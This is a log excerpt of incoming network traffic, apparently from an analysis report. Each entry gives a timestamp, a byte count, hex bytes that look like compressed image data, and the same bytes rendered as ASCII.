2022-07-20 11:24:37 UTC	2394	IN	Data Raw: 56 30 ba 71 d7 c8 ba 91 8a 7c a9 19 1f b3 bf 82 f4 69 2e ff 00 b7 bc 51 0f f6 8e 91 a5 47 3f da 6d 35 1d 3d e6 83 bf dc 6d ff 00 eb 3f bb 5d 0f 8a 7c 3f e0 8f 18 69 fa 8f f6 7e 8f fd 93 f6 88 fe d3 2d dc ba ab ce 9f ec 33 ec c6 c8 c7 7f 96 bc 6f c4 5e 26 b0 93 c9 b5 d3 f5 2b b9 ad 7e cc 9e 5f da e5 d9 e5 cd b3 e7 f9 3e ee ca ea f4 7b ed 37 5c f1 65 9e b7 3d 9d dc 5a 44 71 a7 9b 15 a6 c4 f9 3e ec ab bb fb b5 df 8a a7 8a 95 4f 6c e6 d7 a7 4f 22 23 51 a8 59 1e 47 6b e1 4f 12 dc 78 87 fe 11 74 86 2b b9 24 df 24 76 b6 7b 1d 2e f6 ff 00 17 ca 6a a7 88 20 b4 d2 f4 fb 37 48 7c 99 24 b6 fd e4 df c1 bf 7f f0 ad 7d 41 a6 dc 78 23 c2 ff 00 f1 3a f0 f4 37 77 72 68 d2 3c b6 d1 43 0a 26 a1 1a 4d ff 00 3d 24 fb ac 89 59 7e 38 93 c0 9f 14 34 f9 74 ff 00 ec 7f ec fd 5e de Data Ascii: V0q\|i.QG?m5=m?]\|?i~-3o^&+~_>{7\e=ZDq>OlO"#QYGkOxt+$$v{.j 7H\|$}Ax#:7wrh<C&M=$Y~84t^
2022-07-20 11:24:37 UTC	2474	IN	Data Raw: 3f d5 c3 0e a0 9b 2e 36 fd dd fb fe ee 6b c5 3c 63 f0 f6 ff 00 47 b4 bc bd 9f f7 3e 5c be 54 9f ba d8 9f f0 06 fe 2a f4 0b a9 2d 2c f4 98 53 ec 7f da 3e 67 ef 7e d7 34 af be 3f f8 0a fd ea d4 b5 d7 34 9d 43 49 fb 2d ae 9b 77 77 e5 ec 8a 4f b6 4d f2 79 df ee fd da f5 e9 54 af 4a 57 8b ba ec 72 eb d4 f0 0f 2e 3f 27 7a 4d e4 cb 1f fc b1 a8 24 93 f8 1e bd 2b c5 5f 0c ef ed fc ed 5d 3c 9b 4b 1f 33 f7 90 de 4a 9b e3 7f f8 0f ad 79 fe a5 6b 1d bc 3b e1 ff 00 96 95 ee 53 ab 19 a3 68 b5 25 74 32 7b 5f b3 c3 36 c9 a1 bb f2 e8 b1 d5 67 fb e9 e4 c3 e5 d6 7d a4 97 d2 7f c7 94 33 4b ff 00 3d 2b a8 f0 fe 83 a6 c5 fe 95 ad f9 b7 7f bb 7f 2e d2 d2 5d 9f 3f fb 6f 5a bb 25 76 5c 56 b6 2e df 79 91 e9 30 a4 f6 73 4b 2d c5 cf ef 21 b3 fb fb 36 7c b5 ea fe 19 f0 e4 9e 1b f0 1e Data Ascii: ?.6k<cG>\T*-,S>g~4?4CI-wwOMyTJWr.?'zM$+_]<K3Jyk;Sh%t2{_6g}3K=+.]?oZ%v\V.y0sK-!6\|
2022-07-20 11:24:37 UTC	2537	IN	Data Raw: 79 e6 ea ff 00 3c be 74 d2 ff 00 77 fe 5a 7f be 6a ac 97 d3 e8 f7 73 4e ff 00 b9 f3 24 ad 7f 08 f8 7e 4f 0b ea 1f db df eb ac 7f e5 a7 f1 d6 7e ab a7 49 ae 5d de 5d 79 33 7d ba e2 e7 fd 1b 4f f2 bf bd ff 00 a0 d6 54 e4 a7 3b 27 a1 9d ae ae 60 ff 00 6e 49 fd ad f3 fe fb cc ff 00 59 5d c4 9e 11 fb 1e 9f 36 a9 e4 c3 e6 f9 7e 6f 9b 37 cf fe 5e b6 fc 23 e0 7f 0f 69 7e 4a 6a ff 00 b9 97 cb f3 64 9a f3 ef f9 cb fc 35 af aa ea b1 c9 fb c4 87 c9 fb 44 9f e8 d0 c3 17 f7 7f f1 da 8a 95 fd ee 58 ab 1d 30 a6 d2 bc 8e 6e 38 20 93 49 fb 73 cd e7 79 72 79 b1 c3 fe 7f 8a b5 2d 6e a4 b7 ba 86 f6 08 7c 99 64 ff 00 57 f6 39 bf 71 1a 53 e3 f0 cf fc 4d a6 9e 7d 4a d3 fb 23 ec cf 7d 1d dc 31 6c f9 ff 00 e7 9e df ef 16 ad ef 10 6a 50 6a 10 f9 09 0f d9 22 b7 8d 3f 73 e5 3e ff 00 Data Ascii: y<twZjsN$~O~I]]y3}OT;'`nIY]6~o7^#i~Jjd5DX0n8 Isyry-n\|dW9qSM}J#}1ljPj"?s>
2022-07-20 11:24:37 UTC	2601	IN	Data Raw: 50 f9 d1 49 1f da 7c 9f f9 e8 9f de a8 7c 47 a6 c1 a8 69 f3 5d 5d 5e 4d a7 5f 79 9e 6d 96 87 0c 4f fe 90 9b fe fe ef bb 12 0f f6 be f5 73 c5 c2 72 4d 31 49 35 b9 6b ce 8e 4b bb 3f b1 4d 0d dd cd c7 ef 64 f3 bf d4 47 ff 00 5d 1e b6 fc 1b e1 5b 0b 3d 47 58 d3 fc 43 35 dc d6 3a 8d b3 c7 73 fe 96 f6 bf ed c1 f2 af fb 7f 35 71 9e 03 f1 55 de 8f 77 33 d9 43 69 e6 c7 fb df 3a 68 ab d9 74 7f 01 e9 1a 3d a7 f6 8f 8a 22 d4 21 b9 bd 8f cc 93 fd 2d 21 48 1f fd bf e2 ae 2c 76 2e 96 5b 6b de f2 d1 59 5d bf 91 a4 64 b7 91 ce fc 2f f8 7f 1f 88 2d 35 88 7f b6 2d 3c 2f f6 2f f5 9f 6c 8b 7c d3 bf fb 2b f7 6b 6f 5c d2 75 6f 0b f8 4f 58 d5 20 d3 61 b4 b1 d3 a3 fd e6 a1 35 da 27 da ff 00 eb 9f fb 7f f4 ce b5 ed 74 3d 6b 4f 9a cd f4 f8 6d 3c 73 e1 eb 9b 9f f4 db 4f 91 3f 73 0f Data Ascii: PI\|\|Gi]]^M_ymOsrM1I5kK?MdG][=GXC5:s5qUw3Ci:ht="!-!H,v.[kY]d/-5-<//l\|+ko\uoOX a5't=kOm<sO?s
2022-07-20 11:24:37 UTC	2696	IN	Data Raw: c7 fa bb 4f 9e 6f 33 73 fe f2 6d eb f2 c5 fe d5 79 7f 86 75 cd 4f 58 d5 b4 db 59 f5 29 65 8e 38 fe cd 65 0f 9b f2 47 fe e7 65 ff 00 6a bd 4e c6 4d 36 f3 5c 9a 3d 12 1b bd 5f 52 8e 3f de 7e f7 c9 86 d3 e7 f9 b6 7f cf 5f c6 be 7b 17 4d e1 e7 2a 8d f4 76 b5 ec bb b6 de 97 6f c9 2e c6 6e a7 b9 ab 39 eb ad 72 48 fe 2f 7f c5 3d 79 17 8a 34 db 78 d2 db ce 9b ee 48 8a 9f 77 fd c4 ae d7 4b f0 c4 1f 13 3e c7 a2 f9 3e 4e af 6f 1f 9b fd b9 77 13 ec b7 b7 5f 99 e4 97 fb 89 4a da 93 e8 76 b7 96 ba c7 89 3e c9 a1 de ca ff 00 66 d3 e1 b4 4d f7 6e bf ea d6 45 fe 04 5f e2 ae 3f c3 7a 95 ff 00 8b f5 2d 4b 44 d4 35 e9 ad 34 d9 2d bc db df 26 5f 92 44 ff 00 9e 3f 3f de 8e b8 a2 a5 88 b5 48 be 5e 44 bd ed 6e ed f2 49 f9 ad bb f9 73 4a 49 c9 49 3b 58 ab a3 f8 7d 35 4d 3a 6d 6f Data Ascii: Oo3smyuOXY)e8eGejNM6\=_R?~_{M*vo.n9rH/=y4xHwK>>Now_Jv>fMnE_?z-KD54-&_D??H^DnIsJII;X}5M:mo
2022-07-20 11:24:37 UTC	2800	IN	Data Raw: 33 78 55 7b b3 d2 74 38 e7 d6 21 d7 ad 74 bf b2 43 6d 24 89 14 9a 84 df ef d1 75 ac 5d e9 70 f9 13 c3 fd 9d a9 c7 73 e6 c5 77 0f cf 37 f7 17 ef 7f 03 56 5d f7 db fc 37 a7 fd 89 2c ee fe d3 1e f9 64 fb 67 c9 e5 ed ff 00 96 8d fe cb 57 a0 7c 19 f0 fe 83 a8 69 ff 00 f0 90 f8 a3 ed 5a be a7 24 7e 54 76 9e 52 3d ac 1f c5 e7 ff 00 79 b6 d7 ce e2 b1 94 b0 74 a5 8a 71 6d 5e c9 2d 5b 7f a5 ec 74 7b 45 1d 99 cb 7c 35 87 5d 93 ed 9a a7 f6 0d de b9 6d 1d cf 95 1c 30 da 23 c3 25 e5 6f eb 9a 3e bd f1 03 c4 f7 9a 8f 88 bc 37 14 df 62 8f cb 92 28 bf 73 fb e5 ff 00 96 73 6c fe 2a ed bc 5d e3 47 8e ce 28 20 d4 6e b4 ed 36 de 3f dd c5 a7 6c 78 67 f3 3f 8f 7f 1f 35 72 37 df 12 74 c8 f4 3b 38 74 1b 4b ab bf de 3d b5 c7 da e2 fd ce ff 00 e1 66 6e ad fe d5 7c cd 4c 76 27 1d 53 Data Ascii: 3xU{t8!tCm$u]psw7V]7,dgW\|iZ$~TvR=ytqm^-[t{E\|5]m0#%o>7b(ssl*]G( n6?lxg?5r7t;8tK=fn\|Lv'S
2022-07-20 11:24:37 UTC	2880	IN	Data Raw: c7 e7 ef fe cf ff 00 4c 91 d2 b6 a5 52 31 ac a8 ce 7a cb e5 74 1e c5 f2 ad 4e 36 d7 c5 5e 1b f1 25 e7 db 5e 1f 26 29 25 fd e4 37 7b ff 00 77 5d e4 9a c4 1a 1f 80 f4 d7 7b c8 62 8e f6 e5 e3 ff 00 5a fe 7e c5 fb db b6 fc bb 2b ce 6c 74 ed 27 47 d2 7f b5 34 49 ad 35 1b a8 ef 7f d1 ad 3e 7f dd a7 fc b3 fc ea 0b 4f 17 5d e8 da 84 d3 fd 92 2d 42 da 4f dd 5e fe eb e4 8f fd 95 df fc 6a d5 d3 88 c2 ca a4 94 e1 b4 7a 3f c8 4a 4e 2b 98 db f1 ae a3 a1 6a fa 8f 9d 04 d6 97 7a 44 5f f1 ed 69 e5 3c 3e 62 7f ba bf c5 fe d5 4f ae 4f 25 e7 86 7e c2 90 da cb 7b e5 f9 be 54 d1 79 3f ea ff 00 e5 92 b7 f0 7c 9f df ae 5e 34 7f 16 4d 79 aa 5d 5e 7f 67 5b 49 22 45 fd 9f 69 68 9e 76 ff 00 f6 3e b5 d1 78 1b c0 7a 96 b3 77 f6 df 15 de 5a e9 fa 44 72 3f da 3e d7 77 fb e9 22 5f f6 3e Data Ascii: LR1ztN6^%^&)%7{w]{bZ~+lt'G4I5>O]-BO^jz?JN+jzD_i<>bOO%~{Ty?\|^4My]^g[I"Eihv>xzwZDr?>w"_>
2022-07-20 11:24:37 UTC	2975	IN	Data Raw: b5 8d df 88 2f 34 d4 b6 d4 a2 f1 15 ef 98 ff 00 62 8a 1f e3 9b f8 95 7f bc bf ed 56 3f 84 6d 52 e2 1b cd 4e f6 1f 3a 5f 2f f7 73 79 bb 21 8d 16 97 e2 07 8b 6d f4 bd 27 41 d2 fc 2f 79 e4 ea 5e 67 ef 2e fc ad 9e 67 f7 36 27 de 4f ee ff 00 b5 5e 74 63 56 a5 75 4d 3b b5 7d 5e de 7e 9f a9 a5 96 8e 25 1d 57 4d f1 4e 8f e0 8f ed 0b 5d 36 ee 2d 32 3b 9f 37 fb 43 ee 7d df bf f2 ff 00 77 77 de ad 7b 4b ef 14 5c 78 7a 1f 0d 6a 93 7f 6e 45 af 49 fe 8d 0c 3b 3c fb 07 5f f9 7a ff 00 73 fd 96 f9 59 68 d5 b5 89 e4 d4 3c 37 a0 ea 9a 94 da 8e 87 a7 48 f7 d7 3a 84 3b f7 c9 bb fd 6c 28 df dc 5f bb fe f5 76 5e 20 82 d2 cf c5 9e 30 bd d5 f4 79 ae f5 8b db 69 f5 7b df 3a 6d 89 6f a4 7f db 2f f5 6f 27 ee 23 5f ee af fb d5 f5 14 63 3a 71 8a f3 b9 6a 3a b6 79 47 8d 35 8d 27 fb 42 Data Ascii: /4bV?mRN:_/sy!m'A/y^g.g6'O^tcVuM;}^~%WMN]6-2;7C}ww{K\xzjnEI;<_zsYh<7H:;l(_v^ 0yi{:mo/o'#_c:qj:yG5'B
2022-07-20 11:24:37 UTC	3030	IN	Data Raw: eb 92 78 5f c3 da c7 84 2e be c9 77 1d bd ca 4b 1f fa 22 6f b8 fe 06 69 9b fd 67 2b b1 be f5 6b f8 56 ee 0b 7f 86 50 e8 3e 74 d6 9a 66 a3 a8 ff 00 69 79 30 dd bb a7 ee 53 6f c9 1b 7d dd fb fe f7 de f9 2b a3 f8 ad e1 3f 86 77 df 1d 3c 47 71 f1 17 58 d6 f5 1b a1 e4 59 45 e1 ef 0b da 47 0c d2 4d 1d ac 29 e6 4f 3b 7e ea 2c ff 00 b3 b9 ab 9c f8 8d e3 8b 49 3c 43 79 a8 eb da 3d a4 36 36 f1 c1 a6 e9 b6 9a 76 cf b2 db c3 0a 79 7f bb 6f f7 7e f1 fe 36 ac 2a 37 0a 69 2f 79 bf d0 ee f8 1b b9 d6 69 51 c7 71 a8 59 ff 00 65 ff 00 67 c3 6d 7b 1a 4b 1d a5 e4 a8 9e 5c 2b f7 a5 6a cb d6 2f a7 f1 27 8c b5 24 83 47 9b ed 3e 5b dc c9 0d 9c 5f eb 21 5d 9f bc 57 4f f6 3e 6a f2 8b ed 5a 3d 0f ec 7e 2b d3 ac ee ed 2e 7c df 37 4d fb 5e ff 00 23 62 ff 00 e3 bf 7e 9d a2 78 c2 ef c1 Data Ascii: x_.wK"oig+kVP>tfiy0So}+?w<GqXYEGM)O;~,I<Cy=66vyo~6*7i/yiQqYegm{K\+j/'$G>[_!]WO>jZ=~+.\|7M^#b~x
2022-07-20 11:24:37 UTC	3046	IN	Data Raw: b6 9a 2b 6f dd 79 30 ef fe 09 5e 35 ff 00 5a fb 7e eb 57 e6 58 8c 22 8a 93 52 f7 9e 9f 76 f7 ee 8e b8 ca 17 5d 8a fe 2a d1 ec 35 cb ab cb db 2d 1f ec 96 d7 11 bc 77 3a 84 d2 ff 00 c7 a2 2f f7 77 7f 7a bc 47 e2 37 c3 5f 0f 78 5f 51 fe d8 f0 86 a5 ff 00 09 3d 8d 95 b2 45 24 5f 73 cf 9b f8 fc bd df 37 97 ff 00 4d 3f 8a bd cb fb 43 52 d5 3c 3d fd 89 e2 18 a5 d2 34 c8 e3 fd dc d3 44 89 fe d7 97 5c d6 8d e0 7f 0b 78 a2 5b 3b 5b 59 a2 8a 39 23 79 2e 6d 26 95 ff 00 79 0f dd f2 d9 f6 fe ef fe 05 5e b6 51 98 4f 01 09 42 6d b8 ae de f2 b7 9e bd 7c b4 46 72 4a 4d c5 45 5d 9e 2b a5 6b 17 7e 3c d3 e6 b2 b5 ff 00 89 74 b1 dc ff 00 a1 43 34 af fc 5f 7b 75 7a d5 bc 9a b7 8e 3c 27 0b eb d0 e9 f0 c9 6f 1f ef 25 f2 93 64 6f fe c2 6e fb db 7f ef aa db b1 f8 4f a4 d8 78 0f 7e Data Ascii: +oy0^5Z~WX"Rv]*5-w:/wzG7_x_Q=E$_s7M?CR<=4D\x[;[Y9#y.m&y^QOBm\|FrJME]+k~<tC4_{uz<'o%donOx~
2022-07-20 11:24:37 UTC	3070	IN	Data Raw: ba 9f 08 df 69 be 54 33 e9 7a 6f da ef 63 93 f7 93 7c e8 ee fb 3e 75 f9 be 5d ab 5e 73 af ea 29 e1 fd 12 ce cb 48 97 ec 92 dc 5b 24 91 cb e5 6f f3 3c bf 97 72 7f f1 55 9f aa f8 9b fe 13 0d 22 d3 fb 3f 52 ba d3 b4 db 3f f4 69 3f e9 bc cd ff 00 2c 9b 6f af f7 bf bd 5e 2d 4c 0b c4 d3 49 5d 45 b7 ae bb 79 a5 dc e7 f6 91 8b bb dc f6 ad 63 c4 9a 4f 8c 3c 3d 36 a3 fd b1 2d a6 9b 1c 9f bb f2 a2 f9 3e 5f d5 ff 00 f4 1a 87 52 93 4c b0 f1 05 db ea 97 9f e8 56 f1 c3 1d bc 51 45 bd ff 00 e0 29 ef 5e 2f 75 f1 8e ee e3 e2 76 9d 63 05 9c d6 91 e9 d6 e9 1e a3 ab 43 69 bd e4 87 fb 8e 95 b1 e3 4d 73 5a d7 25 bb 82 ca ce d6 2b 9b 8d 96 5a 95 dc df b9 bd f2 55 1d a1 fb df 2f dc f9 b8 ae 35 92 d4 a3 28 53 93 e5 8c 95 f7 d9 3b 75 b2 ed f7 b4 ac ae 6b ed 93 57 35 fe 2b e9 5a 97 Data Ascii: iT3zoc\|>u]^s)H[$o<rU"?R?i?,o^-LI]EycO<=6->_RLVQE)^/uvcCiMsZ%+ZU/5(S;ukW5+Z
2022-07-20 11:24:37 UTC	3086	IN	Data Raw: fe d2 4f 0d 5e 4d e1 89 23 91 22 d3 61 9a 5d f7 5f be f9 5b cd b9 4f e2 fe 1a a5 7d 6b e1 7d 1f 50 fe c8 bd 86 ef cd f3 3c a9 2e e1 97 e7 82 6f bb f3 6c e6 5f f7 6b e4 61 8d c4 52 93 86 1e 72 e4 be 8a c9 ad 9f cf af 7e 9a 1d f1 a3 64 73 df 09 3c 2b ab 78 5f fb 46 d7 51 d1 e5 f2 ad ff 00 d1 a3 d5 ad 3e fc f0 c9 f7 3c 99 a4 3b 7c b1 f7 be ed 7b 76 87 e2 db 4d 0f c4 da 6e af a8 7f c8 4b 55 8d 24 f2 a6 97 f7 36 9e 5b ed f3 9f 6f df dd fe ed 79 8d ac 1f f0 98 69 fa c3 a5 e6 a1 a4 d8 d9 46 f1 dc f9 d2 a2 7e f9 7f 83 f7 9f 2f fb ab ff 00 01 aa c3 52 7f 18 e8 96 9f f0 8c 5a 5d 43 e2 1f b4 41 1c 9f c7 37 92 c9 b3 7f f7 99 7f 8b fd 8a f3 73 2c 2b c7 4b da 56 d2 f7 4d ad 2d ea ef a2 ba bf c8 13 74 dd 91 f5 37 86 b4 bf 08 78 93 4a d7 6f b5 39 ae a1 fb 1d b7 9b 6f e7 Data Ascii: O^M#"a]_[O}k}P<.ol_kaRr~ds<+x_FQ><;\|{vMnKU$6[oyiF~/RZ]CA7s,+KVM-t7xJo9o
2022-07-20 11:24:37 UTC	3102	IN	Data Raw: 16 5e 55 b5 a4 3b 3e d5 23 b7 fa cf 93 94 54 6f e3 a7 f8 2f fb 07 43 d4 26 d5 1f c9 9a 58 f7 fd b7 4f f2 b7 a6 cf f9 e8 8f fc 2f 5d f1 ab 3c 1a 75 25 16 dd b6 df 5e c7 2d 94 dd 8c 5b af f8 4a ec fc 33 35 ee a8 26 97 57 fb 6f d9 ad ee e6 d9 75 e4 26 cf f5 7b d7 ff 00 1c 7a bb a3 fc 3d 92 e6 f2 6d 62 ea 6d 5a 18 ad e3 ff 00 90 b4 d1 6c 7b 8f 93 fd 5c 8d fc 6f fd da de f0 5f 88 2d e3 96 6b 5d 3a 1b 4d 47 48 92 3f b6 c9 34 31 3e ff 00 dd ff 00 cb 2f fa 65 fe e7 f1 d7 51 a3 c7 25 e5 dc 3a 76 91 67 77 a8 cb 71 1f db a4 d3 ef 25 d9 04 1f f4 cf f8 57 7d 79 92 c4 d6 a7 52 51 a7 1e 56 fe 5b fe 46 91 87 21 1f 87 2d 74 9f 0b f8 67 cf b2 d3 66 87 57 92 e6 7f 2e ee 68 9d ff 00 d6 27 cd f2 27 dc d8 95 bd a6 f8 7e 7b 3d 0e cd e7 fb 5e 91 15 ed b7 97 6d 37 9a 8f f2 2f cf Data Ascii: ^U;>#To/C&XO/]<u%^-[J35&Wou&{z=mbmZl{\o_-k]:MGH?41>/eQ%:vgwq%W}yRQV[F!-tgfW.h''~{=^m7/
2022-07-20 11:24:37 UTC	3110	IN	Data Raw: 00 79 bf 78 e9 ff 00 a1 d6 bf c4 df 89 ba 97 84 fc 4d a0 dd 7d b3 ec 96 32 7d 96 fa 3b 48 62 78 3e ef cd 06 d5 fb b1 a6 cf 97 6a b7 f7 b7 55 2f 11 6a 5e 1e bc f1 96 b0 fe 06 f0 7c 3a e7 88 24 b6 82 db 4e d3 f5 7b 47 9b c8 ff 00 a7 af bd f2 6d ff 00 a6 95 26 87 f0 76 df 4f 86 6f 12 fc 4c b3 b4 d7 34 dd 42 57 96 2d 3e 2d 42 74 48 26 df f3 ac 3e 5f dc 7a e6 58 8c 36 16 30 ad 89 ba 94 b5 e4 7f 13 6f ca fa 7c cd 25 ee df 5d be e3 a1 f8 7b f1 0a 7f 1a 6a de 24 bd bd d0 74 fd 3a 29 2f 5f ec 5a 84 31 27 da ad de 4f de 7c eb ff 00 2d 93 fd ea 7f c4 6d 29 35 0f 16 43 a7 dd 59 cd 77 a9 5b d9 7d a6 4b 4d 47 62 4d 22 32 7c d2 6c fe 1a b5 a6 df 78 5f c2 7a b7 f6 be 9d 67 0e 93 a6 7d 99 ef ad a1 b3 89 e7 b5 d3 26 6f dd f9 df 3f fa d7 f9 7e 5d df c5 54 a0 bb d0 bc 69 fd Data Ascii: yxM}2};Hbx>jU/j^\|:$N{Gm&vOoL4BW->-BtH&>_zX60o\|%]{j$t:)/_Z1'O\|-m)5CYw[}KMGbM"2\|lx_zg}&o?~]Ti
2022-07-20 11:24:37 UTC	3126	IN	Data Raw: 76 bd 5a 14 70 d5 24 a3 4d af 76 fd 6f b7 42 d3 76 b9 cb fc 42 b1 d1 6d e1 d3 6f 6d 75 8f b5 ea 7a 2d 97 97 7b f6 38 91 d2 fe e5 9f cc b8 8f fe b9 ff 00 cb 35 ff 00 66 2f f6 ab 8d f0 ad bc f6 ff 00 b8 f0 be 9b 0f f6 e5 c4 8f e6 43 69 17 9f e5 c2 c9 f3 c9 fe e2 57 a8 78 47 e1 ce 93 a3 da 5e 5a f8 a2 18 7c ad 47 f7 51 cd 79 69 fb fd 9f 3f 99 e5 ff 00 71 ff 00 8b 7d 6d f8 67 4d 83 c3 ff 00 0c b5 8d 1e d7 4d d3 ed 2d a4 8f ed 37 ba b7 cf be 34 8d ff 00 77 fd d7 dc c9 5d 52 c7 46 92 74 e2 ba e9 d1 59 9c ce 2a 4f 44 41 e3 8d 37 52 d0 fc 33 e1 bd 2f 44 b3 9a 1d 4e e2 e5 25 f2 6f 3e e5 dd c6 cd bb a1 45 f9 36 ff 00 bd f3 2d 73 1a 87 86 fc 2d a4 78 83 4e ba d6 3c 39 ad f8 87 c5 5a 85 c3 db 6a da b4 5e 44 f6 b6 93 4d f7 5b ca 93 0b f2 ff 00 b7 5a d7 56 ba 36 87 77 Data Ascii: vZp$MvoBvBmomuz-{85f/CiWxG^Z\|GQyi?q}mgMM-74w]RFtY*ODA7R3/DN%o>E6-s-xN<9Zj^DM[ZV6w
2022-07-20 11:24:37 UTC	3142	IN	Data Raw: 5c 1b 1d 5b 4d b5 86 18 7c a9 2f 63 f3 25 9a 2f f5 9f 3f dd 6f f6 2b 67 42 32 8c b9 d5 ee 6f 4e 4e 0f 43 b4 d4 7c 71 1f 8b 35 6b cb 5d 52 f2 6b 4f de 7d 9a ca d2 1b bf 92 44 df fe ae 59 7f f6 76 a6 78 7f 5c 78 fc 4d 0a 3c d3 5a 5f 5b 47 e5 5b 4d 69 2a 7d ff 00 e2 93 f7 9c 57 9d eb da 4c f6 9e 34 d4 6c 50 7f a5 47 7a f1 88 e1 fe f6 ff 00 e1 ae eb 5c d7 34 59 64 9a 6b a1 e4 dd 45 1f d9 ad f4 f8 62 44 48 11 7f bf 27 fc b4 73 51 56 9c 54 52 87 54 29 2e 7b 93 f8 9e d3 4d b7 d4 3f 73 a9 7d ae fb cb f3 6e 66 ff 00 6f fd ef ef fa aa d7 9f dd 5d 7e fa 6d ff 00 be 96 b6 fc 41 1c 16 d3 79 d0 ff 00 c7 b5 e4 7e 65 bc b0 ff 00 e3 df ed 56 5d f3 da 5c 5a 79 9e 74 50 dc ff 00 cf 18 62 a7 46 1c 89 5d dc e7 7e eb b0 69 56 b2 5b fe f9 21 f3 bc c8 ff 00 e7 96 fa fa aa c6 df Data Ascii: \[M\|/c%/?o+gB2oNNC\|q5k]RkO}DYvx\xM<Z_[G[Mi*}WL4lPGz\4YdkEbDH'sQVTRT).{M?s}nfo]~mAy~eV]\ZytPbF]~iV[!
2022-07-20 11:24:37 UTC	3150	IN	Data Raw: c7 6f 25 c5 ac 3e 75 a6 a1 77 ac 79 9e 5c 71 45 f7 1e 1f f8 17 cd 56 b4 7f 03 c9 ac 47 36 a9 a8 e9 ba ae 9f 6d 1f fa cb b8 7e 77 8d f7 ff 00 e8 55 e4 d0 cb 30 b8 6a 8b 11 29 37 25 d5 bb b7 7f cf d4 cf 49 fc 8e 86 e3 e1 ce a5 fd 9f 16 83 ff 00 08 e4 3a 7e a5 24 9f da 71 ea 1f 6b f3 a6 82 df ee a4 5f dd db ff 00 01 dd 58 b3 fc 1d f1 47 f6 84 3a 27 f6 0c 5a e6 a7 26 fb 98 e5 b4 fd f4 db 3f e9 a7 fb 22 b7 ae fc 17 77 e1 ff 00 88 5a 3d d5 95 dd d7 87 7c 3d 7b 27 99 1e a1 a8 dd 24 d7 b1 c2 bf c4 cb 9a ee ed f4 bf 11 78 97 c6 57 ba bc d7 92 9f 2f fd 1a db 56 fb 57 93 e6 43 fc 1e 77 d7 fb a6 a6 a6 61 5e 8a f6 91 a9 17 0b 5e f6 7b de d6 df ef 49 df c8 97 17 13 e6 ff 00 11 f8 7e ff 00 c2 fa e4 da 46 a9 e7 43 2c 7f eb 2a 0b 7d 63 ec fa 85 9d d7 93 fe 8d 1e c9 7f ef Data Ascii: o%>uwy\qEVG6m~wU0j)7%I:~$qk_XG:'Z&?"wZ=\|={'$xW/VWCwa^^{I~FC,*}c
2022-07-20 11:24:37 UTC	3166	IN	Data Raw: e5 e1 bf 8b d7 ee 57 15 1c c6 18 0e 68 e1 bd e9 3f 2b 8a 31 71 77 bd 99 e1 16 ba 1f 8b 3c 17 e6 cb a8 e8 56 b2 c9 1d cf 97 fd a1 a7 c4 93 5d 49 34 7f ed b7 f0 55 ad 7b 4f f1 9d e5 fe 9f a9 78 d7 4f d5 75 0b 6b 89 3f 75 aa de 4b b2 d9 36 fd e8 d9 ff 00 b8 bf f3 ce bd eb fe 12 6b 8d 2f 56 bc d2 20 b3 86 d3 fb 16 3f b4 ea 33 5d dd f9 de 66 df ee ff 00 0a ff 00 b3 8a e6 3c 61 e2 28 3e 20 69 f0 f8 6a d7 4d 8b c4 5a 6d c7 fa 4c 72 c3 bf fd 12 66 fe f2 6e d8 d2 7f b5 5d 50 cd 31 32 92 95 7a 69 45 ad 5a 7b 2f 9e de 97 d4 6e 49 7b ad 9e 37 f1 03 55 bb d5 35 1d f3 ea 3f da d1 5b 49 fb bb bb 4f 92 1f b3 ff 00 d3 24 fe 05 a8 f4 b8 34 9d 1f 56 b3 7d 6e f3 ec 96 37 16 df 6e b6 86 68 b6 79 9f dd dd 5a 9a 8f 87 f5 3f b2 dd e9 d3 fd ae 18 b4 ad f2 c7 69 79 17 93 e6 7f 7f Data Ascii: Wh?+1qw<V]I4U{OxOuk?uK6k/V ?3]f<a(> ijMZmLrfn]P12ziEZ{/nI{7U5?[IO$4V}n7nhyZ?iy
2022-07-20 11:24:37 UTC	3182	IN	Data Raw: 29 d6 a9 2a 74 e3 a6 ea fb 5b b5 d5 ac fb 9d 1c ab 91 33 86 f1 b4 76 3a e7 88 a1 bd 49 a6 8a e6 48 ff 00 d3 62 9b e4 fd f2 fd ea ab f6 59 34 ff 00 9e eb f7 36 32 7f ab fe fc 9f f0 1a f5 bf 00 78 64 fc 49 9a f3 c5 5e 25 d0 6e ef 22 d5 64 7b 6b 69 ad 3c bf dd cc bb 3c eb c4 b5 ff 00 97 9f 2f ee ff 00 75 6b d8 f4 7b 8d 2b e1 bc ba ed af 86 b5 eb 4d 47 c6 72 48 ff 00 6d 9a f3 49 fb 52 49 e5 fd c8 93 7a d7 ab 8a cc be a6 a1 4a 31 e6 a9 6d 95 ec bd 5a 4e cb ce c7 2b a2 97 53 c4 74 7f 08 f8 a6 cf ec 9a 73 d9 da 69 da 95 c7 fa 4d b5 ae a3 2f fa 57 92 c9 fd df 7a e5 fc 4f aa c1 1c 33 79 f3 69 fa 8d cc 9f f1 ed 77 67 2e cf b3 ed ff 00 63 f8 96 bd 5f 43 f1 55 de 9f 0f fc 25 7a 5d df 9b e2 5f f4 df 32 d3 fb 3d 1e 68 fc e7 fe 3f bc 64 7f ee ff 00 b1 5c 8f 8a b4 fb 1f Data Ascii: )*t[3v:IHbY462xdI^%n"d{ki<</uk{+MGrHmIRIzJ1mZN+StsiM/WzO3yiwg.c_CU%z]_2=h?d\
2022-07-20 11:24:37 UTC	3190	IN	Data Raw: 4f fb 6f 9d 34 57 32 48 f7 32 4d 37 c8 93 ed fb 91 3f 68 d8 3f df fb d5 1c 7f 10 27 f1 86 9d 67 a2 6b f7 9a b5 a7 87 ed e3 f2 e3 d2 a1 d9 e4 c7 fd c9 3f dc 6a e4 8e 5b fb a9 4e 84 1c 66 df bc dc 55 fc ac 9d f9 9f dc 76 46 50 e6 fd ee c7 75 e3 85 f1 7d c3 6a 37 7a 76 85 2c ba 6e 8d 79 fd 8b a8 eb 5a 4d dc f3 59 ea 17 0b b3 cb f9 a5 6f 93 e7 e8 cb 56 74 dd 5f c4 32 5d 4d ac 5a eb bf f0 8e ea d1 c7 06 99 1c 36 97 4f fd a1 06 df bf bf f8 a3 dd fd ea ea 3e 13 f8 87 58 d3 3e 12 f8 eb 4e 48 61 d4 34 57 db 15 b5 85 dc af e4 db b1 f9 d6 e3 cb fe 3c 63 e6 fa 57 6b f0 c7 e1 cf 85 3f e1 66 19 fc 4d 69 f6 cd 62 4b 64 93 51 9b 49 ff 00 8f 5d fb 3f d9 ff 00 6b fe 05 5f 3b 8c cd 29 61 29 d5 84 a9 af 73 4d 12 6d d9 26 f4 7b 5e fd f4 d3 7e 9e 84 28 a9 ce 3e c6 5a f6 38 ed Data 